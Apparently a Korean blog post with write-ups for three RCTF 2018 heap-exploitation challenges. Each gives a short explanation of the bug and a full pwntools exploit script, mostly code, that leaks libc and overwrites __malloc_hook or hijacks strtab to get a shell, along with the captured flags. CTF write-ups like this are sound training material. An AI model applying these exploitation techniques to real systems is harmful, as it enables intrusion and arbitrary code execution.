2018 Rctf writeup
1. babyheap (44 solved)
read를 입력받을 때 off_by_one 발생. 이걸로 Poison Null byte가 가능해진다. poison null byte로 컨트롤할 수 있는 fastbin 사이즈 청크를 만들고 그 청크가 위치한 주소에 small bin 사이즈 청크를 만들고 free 시켜서 leak이 가능하다. 그 다음 fastbin forge로 malloc_hook을 one_shot으로 덮는다.
FLAG: RCTF{Let_us_w4rm_up_with_a_e4sy_NU11_byte_overflow_lul_7adf58}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | from pwn import * #p = process(['./babyheap'],env={'LD_PRELOAD':'./Babyheap.so'}) p = remote('babyheap.2018.teamrois.cn',3154) libc = ELF("./Babyheap.so") def alloc(size,content): p.sendlineafter("choice: ","1") p.sendlineafter("size: ",str(size)) p.sendlineafter("content: ",content) def show(idx): p.sendlineafter("choice: ","2") p.sendlineafter("index: ",str(idx)) def delete(idx): p.sendlineafter("choice: ","3") p.sendlineafter("index: ",str(idx)) alloc(60,"A"*52+p64(0)) alloc(0x100,"B"*240+p64(0x100)) alloc(130,"C"*40) delete(1) delete(0) alloc(72,"a"*64+p64(0)) delete(1) alloc(0x80,"D"*8) alloc(0x60,"E"*0x20) delete(1) delete(2) alloc(0x80,"F"*0x50) alloc(0xf0,"G"*0xf0) alloc(0xa0,"H"*0x50) delete(2) show(3) p.recvuntil("content: ") leak = u64(p.recv(6)+"\x00\x00") base = leak -0x3c4b78 malloc_hook = base+0x3c4b10 fake = malloc_hook-0x23 one = base+0x4526a alloc(0xf0,"g"*0x50) delete(1) delete(3) delete(4) alloc(0x100,"A"*0x80+p64(0)+p64(0x70)+"B"*0x60+p64(0)+p64(0x20cc1)) delete(1) delete(2) print "malloc_hook: " + hex(malloc_hook) print "fake_add: " + hex(fake) alloc(0x100,"A"*0x80+p64(0)+p64(0x70)+p64(fake)) alloc(0x60,"j"*8) alloc(0x60,"P"*0x13+p64(one)) p.sendlineafter("choice: ","1") p.sendlineafter("size: ","1") p.sendline("cat flag") p.interactive() | cs |
2. RNote3 (33 solved)
delete 함수에서 ptr을 초기화하지 않아서 가리키는 포인터를 이용하여 전역변수에 등록된 힙 포인터를 0으로 초기화 시키지 않을 수 있다. 그렇게 릭을 하고 똑같은 방식으로 fastbin 청크로 만들고 free된 청크 fd에 malloc hook주소를 넣고 fastbin forge 시켜서 malloc_hook을 one_shot으로 덮은 다음에 free에서 오류를 일으켜 malloc를 호출시키게 해서 풀었다.
FLAG: RCTF{P1e4se_Be_C4refu1_W1th_Th3_P0inter_3c3d89}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | from pwn import* p = process(["./RNote3"],env = {'LD_PRELOAD':'./rnote.6'}) #p = remote('rnote3.2018.teamrois.cn',7322) def add(title,size,content): p.sendline("1") p.sendlineafter("title: ",str(title)) p.sendlineafter("size: ",str(size)) p.sendafter("content: ",str(content)) def view(title): p.sendline("2") p.sendlineafter("title: ",str(title)) def edit(title,content): p.sendline("3") p.sendlineafter("title: ",str(title)) p.sendlineafter("content: ",str(content)) def delete(title): p.sendline("4") p.sendlineafter("title: ",str(title)) print p.recvline() add("A",0xf8,"A"*8+"\x0a") add("A",0xf8,"A"*8+"\x0a") delete("A") delete("A") add("A",0xf8,"A"*0x10+"\n") delete("qwe") view("\x00") p.recvuntil("note content: ") base = u64(p.recv(6)+"\x00\x00")-0x3c4b78 address = base+0x3c4aed one = base+0xf02a4 print "base: " + hex(base) print "Attack_add: " + hex(address) print "one: " + hex(one) add("A",0xf8,"A"*0x10+"\x0a") add("AA",0x68,"A"*0x68) add("AA",0x68,"A"*0x68) delete("AA") delete("AA") add("AA",0x68,"A"*0x68) delete("qwe") edit("\x00",p64(address)) add("AA",0x68,"A"*0x68) add("AA",0x68,"A"*0x13+p64(one)+'\x0a') delete(2) p.interactive() | cs |
3. RNote4 (24 solved)
취약점은 edit에서 원하는 사이즈 만큼 청크에 입력이 가능해서 포인터 부분을 조작할 수 있는 것이다. 이것을 이용해서 자신이 원하는 주소에 원하는 값을 넣는게 가능해진다. fake strtab을 만들고 원래 strtab을 가리키고 있던 포인터를 내가 만든 fake strtab으로 조작했다. free를 system으로 바꿨다. 그 전까지의 함수들은 사용하지 않기 때문에 다른 값으로 덮어도 상관없다. 그 뒤에 /bin/sh라는 문자열을 가진 청크를 하나 만들고 그 청크를 free 시켜서 풀었다.
FLAG: RCTF{I_kn0w_h0w_dl_f1xup_w0rks_503f8c}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | from pwn import* p = process("./RNote4") #p = remote('rnote4.2018.teamrois.cn',6767) strtab = 0x601eb0 def add(size,content): p.send(p8(1)) p.send(p8(size)) p.send(content) def edit(idx,size,content): p.send(p8(2)) p.send(p8(idx)) p.send(p8(size)) p.send(content) def delete(idx): p.send(p8(3)) p.send(p8(idx)) add(0x20,"A"*0x20) add(0x20,"B"*0x20) edit(0,0x40,"a"*42+p64(0x21)+"a"*6+p64(0x602100)) edit(1,0x65,"A"*0x5f+"system") edit(0,0x40,"a"*42+p64(0x21)+"a"*6+p64(strtab)) edit(1,0x8,p64(0x602100)) add(0x7,"/bin/sh") delete(2) p.interactive() | cs |
'CTF' 카테고리의 다른 글
??CTF 2 (0) | 2018.11.29 |
---|---|
??CTF 1 (0) | 2018.11.29 |
2018 0ctf babystack (0) | 2018.05.25 |
2015 Codegate final yocto (0) | 2018.05.09 |
2018_Asis_CTF Just Sort! (0) | 2018.05.03 |